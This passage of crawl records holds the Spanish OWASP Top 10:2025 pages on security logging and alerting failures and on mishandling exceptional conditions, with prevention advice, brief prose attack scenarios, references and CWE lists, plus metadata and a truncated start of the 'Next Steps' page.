Integridad (Download of Code Without Integrity Check)](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 Deserialización de Datos No Confiables (Deserialization of Untrusted Data)](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 Código Malicioso Incrustado (Embedded Malicious Code)](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 Código Malicioso que se Replica (Virus o Gusano) (Replicating Malicious Code (Virus or Worm))](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 Dependencia de Cookies sin Validación ni Verificación de Integridad (Reliance on Cookies without Validation and Integrity Checking)](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 Dependencia de Cookies sin Validación ni Verificación de Integridad en una Decisión de Seguridad (Reliance on Cookies without Validation and Integrity Checking in a Security Decision)](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 Inclusión de Funcionalidad desde una Esfera de Control No Confiable (Inclusion of Functionality from Untrusted Control Sphere)](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 Inclusión de Funcionalidad Web desde una Fuente No Confiable (Inclusion of Web Functionality from an Untrusted Source)](https://cwe.mitre.org/data/definitions/830.html)\n- [CWE-915 Modificación Controlada de Forma Inadecuada de Atributos de Objetos Determinados Dinámicamente (Improperly Controlled Modification of Dynamically-Determined Object Attributes)](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 Exportación Inadecuada de Componentes de Aplicaciones Android (Improper Export of Android Application Components)](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 9178, "slov": 1186, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:56", "sha256": "1826c53e831dbf46e3f65d8d9fa332d90065468b3bda369aee34e53e7d7831b3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/federicodotta/Java-Deserialization-Scanner", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://tenendo.com/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 Fallos en el Registro y Alertas de Seguridad - OWASP Top 10:2025", "h1": "A09:2025 Fallas en el Registro, Alerta y Monitoreo de Seguridad", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 Fallas en el Registro, Alerta y Monitoreo de Seguridad"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 2, "text": "Cómo prevenir"}, {"uroven": 2, "text": "Ejemplos de escenarios de ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A09:2025 Fallas en el Registro, Alerta y Monitoreo de Seguridad\n\n## Antecedentes\n\nLas fallas en el Registro, Alerta y Monitoreo de Seguridad mantienen su posición en el puesto #9. Esta categoría tiene un ligero cambio de nombre para enfatizar la función de alerta necesaria para inducir la acción ante eventos de registro relevantes. Esta categoría siempre estará infrarrepresentada en los datos y, por tercera vez, fue votada en una posición de la lista por los participantes de la encuesta de la comunidad. Esta categoría es increíblemente difícil de probar y tiene una representación mínima en los datos de CVE/CVSS (solo 723 CVE); pero puede tener un gran impacto en la visibilidad, las alertas de incidentes y la informática forense. Esta categoría incluye problemas con el *manejo adecuado de la codificación de salida hacia los archivos de registro (CWE-117), la inserción de datos sensibles en los archivos de registro (CWE-532) y el registro insuficiente (CWE-778).*\n\n## Tabla de puntuación\n\n| CWEs Mapeadas | Tasa Máxima de Incidencia | Tasa Promedio de Incidencia | Cobertura Máxima | Cobertura Promedio | Promedio Ponderado de Explotación | Promedio Ponderado de Impacto | Ocurrencias Totales | CVEs Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11.33% | 3.91% | 85.96% | 46.48% | 7.19 | 2.65 | 260,288 | 723 |\n\n## Descripción\n\nSin registro (logging) y monitoreo (monitoring), los ataques y las brechas de seguridad no pueden detectarse, y sin alertas (alerting) es muy difícil responder de forma rápida y eficaz durante un incidente de seguridad. Las fallas por registro, monitoreo continuo, detección y alertas insuficientes para iniciar respuestas activas se producen siempre que:\n\n- No se registran eventos auditables, como los inicios de sesión, las fallas de inicio de sesión y las transacciones de alto valor, o se registran de forma incoherente (por ejemplo, registrando solo los inicios de sesión correctos, pero no los intentos fallidos).\n- Las advertencias y los errores no generan mensajes de registro, o estos son inadecuados o poco claros.\n- La integridad de los registros no está debidamente protegida contra la manipulación.\n- Los registros de las aplicaciones y las API no se monitorean para detectar actividades sospechosas.\n- Los registros solo se almacenan localmente y no se dispone de las copias de seguridad adecuadas.\n- No existen o no son efectivos los umbrales de alerta y los procesos de escalado de respuesta adecuados. Las alertas no se reciben o no se revisan en un tiempo razonable.\n- Las pruebas de penetración (pentesting) y los escaneos mediante herramientas de pruebas de seguridad de aplicaciones dinámicas (DAST) (como Burp Suite o ZAP) no activan alertas.\n- La aplicación no puede detectar, escalar o alertar sobre ataques activos en tiempo real o casi en tiempo real.\n- Se es vulnerable a la filtración de información sensible al hacer visibles los eventos de registro y alerta para un usuario o un atacante (ver [A01:2025-Pérdida de Control de Acceso](../A01_2025-Broken_Access_Control/) ), o al registrar información sensible que no debería registrarse (como PII o PHI).\n- Se es vulnerable a inyecciones o ataques a los sistemas de registro o monitoreo si los datos de los registros no están correctamente codificados.\n- La aplicación carece de errores u otras condiciones excepcionales, o los gestiona de forma inadecuada, de modo que el sistema no es consciente de que se ha producido un error y, por tanto, no puede registrar que ha habido un problema.\n- Faltan \"casos de uso\" adecuados para la emisión de alertas o estos están desactualizados para reconocer una situación especial.\n- Demasiadas alertas de falsos positivos hacen imposible distinguir las alertas importantes de las que no lo son, lo que provoca que se reconozcan demasiado tarde o no se reconozcan en absoluto (sobrecarga física del equipo del SOC).\n- Las alertas detectadas no pueden procesarse correctamente porque el manual de procedimientos (playbook) para el caso de uso es incompleto, está desactualizado o no existe.\n\n## Cómo prevenir\n\nLos desarrolladores deben implementar algunos o todos los controles siguientes, dependiendo del riesgo de la aplicación:\n\n- Asegurarse de que todas las fallas de inicio de sesión, control de acceso y validación de entradas del lado del servidor puedan registrarse con suficiente contexto de usuario para identificar cuentas sospechosas o maliciosas, y conservarse durante el tiempo suficiente para permitir un análisis forense retardado.\n- Asegurarse de que se registre cada parte de la aplicación que contenga un control de seguridad, tanto si tiene éxito como si falla.\n- Asegurarse de que los registros se generen en un formato que las soluciones de gestión de registros puedan consumir fácilmente.\n- Asegurarse de que los datos de registro estén codificados correctamente para evitar inyecciones o ataques a los sistemas de registro o monitoreo.\n- Asegurarse de que todas las transacciones tengan un rastro de auditoría con controles de integridad para evitar su manipulación o eliminación, como tablas de bases de datos de solo adición (append-only) o similares.\n- Asegurarse de que todas las transacciones que arrojen un error se reviertan (roll back) y se inicien de nuevo. Fallar siempre de forma segura (fail closed).\n- Si su aplicación o sus usuarios se comportan de forma sospechosa, emita una alerta. Elabore directrices para sus desarrolladores sobre este tema para que puedan programar en consecuencia o adquiera un sistema para ello.\n- Los equipos de DevSecOps y de seguridad deben establecer casos de uso de monitoreo y alerta eficaces, incluidos manuales de procedimientos (playbooks), de modo que las actividades sospechosas sean detectadas y respondidas rápidamente por el equipo del Centro de Operaciones de Seguridad (SOC).\n- Añada 'honeytokens' (tokens trampa) como trampas para atacantes en su aplicación; por ejemplo, en la base de datos, en los datos, como identidades de usuario reales y/o técnicas. Al no utilizarse en la actividad normal del negocio, cualquier acceso genera datos de registro que pueden activar una alerta casi sin falsos positivos.\n- El análisis del comportamiento y el apoyo de la IA podrían ser, opcionalmente, una técnica adicional para ayudar a conseguir bajas tasas de falsos positivos en las alertas.\n- Establecer o adoptar un plan de respuesta y recuperación de incidentes, como el del Instituto Nacional de Estándares y Tecnología (NIST) 800-61r2 o posterior. Enseñe a sus desarrolladores de software cómo son los ataques e incidentes en las aplicaciones para que puedan informarlos.\n\nExisten productos comerciales y de código abierto para la protección de aplicaciones, como el OWASP ModSecurity Core Rule Set, y software de correlación de registros de código abierto, como el stack de Elasticsearch, Logstash, Kibana (ELK), que cuentan con cuadros de mando personalizados y alertas que pueden ayudarle a combatir estos problemas. También existen herramientas comerciales de observabilidad que pueden ayudarle a responder a los ataques o a bloquearlos casi en tiempo real.\n\n## Ejemplos de escenarios de ataque\n\n**Escenario #1:** El operador del sitio web de un proveedor de planes de salud infantil no pudo detectar una brecha de seguridad debido a la falta de monitoreo y registro. Un tercero informó al proveedor del plan de salud que un atacante había accedido y modificado miles de registros sanitarios sensibles de más de 3.5 millones de niños. Una revisión posterior al incidente determinó que los desarrolladores del sitio web no habían subsanado vulnerabilidades importantes. Al no haber registro ni monitoreo del sistema, la brecha de datos podría haber estado en curso desde 2013, un periodo de más de siete años.\n\n**Escenario #2:** Una importante compañía aérea india sufrió una filtración de datos que afectó a más de diez años de datos personales de millones de pasajeros, incluidos datos de pasaportes y tarjetas de crédito. La filtración de datos se produjo en un proveedor externo de alojamiento en la nube, que notificó a la aerolínea la filtración después de algún tiempo.\n\n**Escenario #3:** Una importante aerolínea europea sufrió una brecha de seguridad notificable según el GDPR. Al parecer, la brecha fue causada por vulnerabilidades de seguridad en la aplicación de pagos explotadas por atacantes, que recolectaron más de 400,000 registros de pagos de clientes. Como consecuencia, el regulador de la privacidad multó a la aerolínea con 20 millones de libras.\n\n## Referencias\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 Security Logging and Error Handling](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n- [Real world example of such failures in Snowflake Breach](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-117 Neutralización Inadecuada de la Salida para Registros (Improper Output Neutralization for Logs)](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 Pérdida de Información por Omisión (Information Loss or Omission)](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 Omisión de Información Relevante para la Seguridad (Omission of Security-relevant Information)](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 Inserción de Información Sensible en un Archivo de Registro (Insertion of Sensitive Information into Log File)](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 Registro Insuficiente (Insufficient Logging)](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 10304, "slov": 1462, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:57", "sha256": "e16578383a8af1dd0300afc3fbd2e2142e3ae92f841497b996de2e8764b3846e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 Manejo Incorrecto de Condiciones Excepcionales - OWASP Top 10:2025", "h1": "A10:2025 Manejo Inadecuado de Condiciones Excepcionales", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 Manejo Inadecuado de Condiciones Excepcionales"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 2, "text": "Cómo prevenir"}, {"uroven": 2, "text": "Ejemplos de escenarios de ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A10:2025 Manejo Inadecuado de Condiciones Excepcionales\n\n## Antecedentes\n\nEl Manejo Inadecuado de Condiciones Excepcionales es una categoría nueva para 2025. Esta categoría contiene 24 CWE y se centra en el manejo inadecuado de errores, errores lógicos, fallas de forma abierta (failing open) y otros escenarios relacionados derivados de condiciones anormales que los sistemas pueden encontrar. Esta categoría incluye algunas CWE que anteriormente se asociaban con una mala calidad del código. Aquello era demasiado general para nosotros; en nuestra opinión, esta categoría más específica proporciona una mejor orientación.\n\nCWE notables incluidas en esta categoría: *CWE-209: Generación de mensajes de error que contienen información sensible, CWE-234: Omisión del manejo de parámetros faltantes, CWE-274: Manejo inadecuado de privilegios insuficientes, CWE-476: Desreferencia de puntero NULL,* y *CWE-636: No fallar de forma segura ('Fallar de forma abierta' / 'Failing Open')*.\n\n## Tabla de puntuación\n\n| CWEs Mapeadas | Tasa Máxima de Incidencia | Tasa Promedio de Incidencia | Cobertura Máxima | Cobertura Promedio | Promedio Ponderado de Explotación | Promedio Ponderado de Impacto | Ocurrencias Totales | CVEs Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20.67% | 2.95% | 100.00% | 37.95% | 7.11 | 3.81 | 769,581 | 3,416 |\n\n## Descripción\n\nEl manejo inadecuado de condiciones excepcionales en el software ocurre cuando los programas no logran prevenir, detectar y responder a situaciones inusuales e impredecibles, lo que provoca caídas (crashes), comportamientos inesperados y, a veces, vulnerabilidades. Esto puede implicar uno o más de los siguientes tres fallas: la aplicación no previene que ocurra una situación inusual, no identifica la situación mientras está ocurriendo y/o responde de forma deficiente o no responde en absoluto a la situación posteriormente.\n\nLas condiciones excepcionales pueden ser causadas por una validación de entradas ausente, deficiente o incompleta; por un manejo de errores de alto nivel tardío en lugar de realizarse en las funciones donde ocurren; por estados ambientales inesperados como problemas de memoria, privilegios o red; por un manejo de excepciones inconsistente o por excepciones que no se manejan en absoluto, permitiendo que el sistema caiga en un estado desconocido e impredecible. Cada vez que una aplicación no está segura de su siguiente instrucción, se ha manejado inadecuadamente una condición excepcional. Los errores y excepciones difíciles de encontrar pueden amenazar la seguridad de toda la aplicación durante mucho tiempo.\n\nPueden ocurrir muchas vulnerabilidades de seguridad diferentes cuando manejamos inadecuadamente las condiciones excepcionales, como errores de lógica, desbordamientos (overflows), condiciones de carrera (race conditions), transacciones fraudulentas o problemas de memoria, estado, recursos, tiempos (timing), autenticación y autorización. Estos tipos de vulnerabilidades pueden afectar negativamente la confidencialidad, disponibilidad y/o integridad de un sistema o de sus datos. Los atacantes manipulan el manejo de errores defectuoso de una aplicación para atacar esta vulnerabilidad.\n\n## Cómo prevenir\n\nPara manejar adecuadamente una condición excepcional, debemos planificar para tales situaciones (esperar lo peor). Debemos \"capturar\" (catch) cada posible error del sistema directamente en el lugar donde ocurre y luego manejarlo (lo que significa hacer algo significativo para resolver el problema y asegurar que nos recuperamos del mismo). Como parte del manejo, debemos incluir el lanzamiento de un error (para informar al usuario de forma comprensible), el registro (logging) del evento, así como la emisión de una alerta (alerting) si consideramos que está justificado. También deberíamos tener un manejador de excepciones global por si acaso algo se nos ha pasado por alto. Idealmente, también tendríamos herramientas o funcionalidades de monitoreo y/u observabilidad que vigilen errores repetidos o patrones que indiquen un ataque en curso, que pudieran emitir una respuesta, defensa o bloqueo de algún tipo. Esto puede ayudarnos a bloquear y responder a scripts y bots que se centran en nuestras debilidades de manejo de errores.\n\nCapturar y manejar las condiciones excepcionales garantiza que la infraestructura subyacente de nuestros programas no se deje a merced de situaciones impredecibles. Si se encuentra a mitad de una transacción de cualquier tipo, es extremadamente importante que revierta (roll back) cada parte de la transacción y comience de nuevo (lo que también se conoce como fallar de forma segura o \"fail closed\"). Intentar recuperar una transacción a medias es a menudo donde creamos errores irrecuperables.\n\nSiempre que sea posible, añada limitación de tasa (rate limiting), cuotas de recursos, regulación (throttling) y otros límites para prevenir las condiciones excepcionales en primer lugar. Nada en la tecnología de la información debería ser ilimitado, ya que esto conduce a una falta de resiliencia de la aplicación, denegación de servicio, ataques exitosos de fuerza bruta y facturas extraordinarias en la nube.\n\nConsidere si errores idénticos repetidos, por encima de una cierta tasa, deberían mostrarse únicamente como estadísticas que indiquen con qué frecuencia han ocurrido y en qué intervalo de tiempo. Esta información debería añadirse al mensaje original para no interferir con el registro y monitoreo automatizados, consulte [A09:2025-Fallas en el Registro, Alerta y Monitoreo de Seguridad](../A09_2025-Security_Logging_and_Alerting_Failures/).\n\nAdemás de esto, querríamos incluir una validación de entradas estricta (con saneamiento o escape para los caracteres potencialmente peligrosos que debamos aceptar), un manejo de errores, registro, monitoreo y alertas *centralizados*, y un manejador de excepciones global. Una aplicación no debería tener múltiples funciones para manejar condiciones excepcionales; debería realizarse en un solo lugar, de la misma manera cada vez. También deberíamos crear requisitos de seguridad del proyecto para todos los consejos de esta sección, realizar actividades de modelado de amenazas y/o revisión de diseño seguro en la fase de diseño de nuestros proyectos, realizar revisiones de código o análisis estático, así como ejecutar pruebas de estrés, rendimiento y penetración del sistema final.\n\nSi es posible, toda su organización debería manejar las condiciones excepcionales de la misma manera, ya que esto facilita la revisión y auditoría del código en busca de errores en este importante control de seguridad.\n\n## Ejemplos de escenarios de ataque\n\n**Escenario #1:** El agotamiento de recursos mediante el manejo inadecuado de condiciones excepcionales (Denegación de Servicio) podría producirse si la aplicación captura excepciones cuando se suben archivos, pero no libera adecuadamente los recursos después. Cada nueva excepción deja los recursos bloqueados o no disponibles de otro modo, hasta que se agotan todos los recursos.\n\n**Escenario #2:** Exposición de datos sensibles mediante un manejo inadecuado o errores de base de datos que revelan el error completo del sistema al usuario. El atacante continúa forzando errores para utilizar la información sensible del sistema para crear un mejor ataque de inyección SQL. Los datos sensibles en los mensajes de error del usuario sirven de reconocimiento (reconnaissance).\n\n**Escenario #3:** La corrupción de estado en transacciones financieras podría ser causada por un atacante que interrumpe una transacción de varios pasos mediante interrupciones de red. Imagine que el orden de la transacción fuera: debitar la cuenta del usuario, acreditar la cuenta de destino, registrar la transacción. Si el sistema no revierte adecuadamente toda la transacción (fallar de forma segura o \"fail closed\") cuando hay un error a mitad del proceso, el atacante podría potencialmente vaciar la cuenta del usuario, o posiblemente una condición de carrera podría permitir al atacante enviar dinero al destino varias veces.\n\n## Referencias\n\nOWASP MASVS‑RESILIENCE\n\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 Error Handling](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Best practices for exceptions (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [General error handling rules (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [Example of real-world mishandling of an exceptional condition](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-209 Generación de Mensajes de Error que Contienen Información Sensible (Generation of Error Message Containing Sensitive Information)](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 Inserción de Información Sensible en el Código de Depuración (Insertion of Sensitive Information Into Debugging Code)](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 Omisión del Manejo de Parámetros Faltantes (Failure to Handle Missing Parameter)](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 Manejo Inadecuado de Parámetros Extra (Improper Handling of Extra Parameters)](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 Excepción No Capturada (Uncaught Exception)](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 Valor de Retorno No Verificado (Unchecked Return Value)](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 Manejo Inadecuado de Privilegios Insuficientes (Improper Handling of Insufficient Privileges)](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 Manejo Inadecuado de Permisos o Privilegios Insuficientes (Improper Handling of Insufficient Permissions or Privileges)](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 División por Cero (Divide By Zero)](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 Detección de Condición de Error sin Acción (Detection of Error Condition Without Action)](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 Condición de Error No Verificada (Unchecked Error Condition)](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 Código de Estado o Valor de Retorno Inesperado (Unexpected Status Code or Return Value)](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 Declaración de Catch para Excepción Genérica (Declaration of Catch for Generic Exception)](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 Declaración de Throws para Excepción Genérica (Declaration of Throws for Generic Exception)](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 Limpieza Inadecuada al Lanzar una Excepción (Improper Cleanup on Thrown Exception)](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 Desreferencia de Puntero NULL (NULL Pointer Dereference)](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 Falta de Caso por Defecto en una Expresión de Condición Múltiple (Missing Default Case in Multiple Condition Expression)](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 Sentencia Break Omitida en un Switch (Omitted Break Statement in Switch)](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 Mensaje de Error Generado por el Servidor que Contiene Información Sensible (Server-generated Error Message Containing Sensitive Information)](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 No Fallar de Forma Segura ('Fallar de Forma Abierta' / 'Failing Open')](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 Verificación o Manejo Inadecuado de Condiciones Excepcionales (Improper Check or Handling of Exceptional Conditions)](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 Verificación Inadecuada de Condiciones Inusuales o Excepcionales (Improper Check for Unusual or Exceptional Conditions)](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 Manejo Inadecuado de Condiciones Excepcionales (Improper Handling of Exceptional Conditions)](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 Falta de Página de Error Personalizada (Missing Custom Error Page)](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 12776, "slov": 1579, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:58", "sha256": "5506358c939d073c01ccb0a5bece2a4692482061f47ff1323ced71c77da0ff9b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/X01_2025-Next_Steps/", "titulek": "Próximos Pasos - OWASP Top 10:2025", "h1": "Siguientes Pasos", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/X01_2025-Next_Steps/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Siguientes Pasos"}, {"uroven": 2, "text": "X01:2025 Falta de Resiliencia de la Aplicación"}, {"uroven": 3, "text": "Antecedentes"}, {"uroven": 3, "text": "Tabla de puntuación"}, {"uroven": 3, "text": "Descripción"}, {"uroven": 3, "text": "Cómo prevenir"}, {"uroven": 3, "text": "Escenarios de ataque de ejemplo"}, {"uroven": 3, "text": "Referencias"}, {"uroven": 3, "text": "Lista de CWEs Mapeados"}, {"uroven": 2, "text": "X02:2025 Fallas en la Gestión de Memoria"}, {"uroven": 3, "text": "Antecedentes"}, {"uroven": 3, "text": "Tabla de puntuación"}, {"uroven": 3, "text": "Descripción"}, {"uroven": 3, "text": "Cómo prevenir"}, {"uroven": 3, "text": "Escenarios de ataque de ejemplo"}, {"uroven": 3, "text": "Referencias"}, {"uroven": 3, "text": "Lista de CWEs Mapeados"}, {"uroven": 2, "text": "X03:2025 Confianza Inapropiada en el Código Generado por IA ('Vibe Coding')"}, {"uroven": 3, "text": "Antecedentes"}, {"uroven": 3, "text": "Descripción"}, {"uroven": 3, "text": "Cómo prevenir"}, {"uroven": 3, "text": "Referencias"}, {"uroven": 3, "text": "Lista de CWEs Mapeados"}], "markdown": "# Siguientes Pasos\n\nPor diseño, el OWASP Top 10 está intrínsecamente limitado a los diez 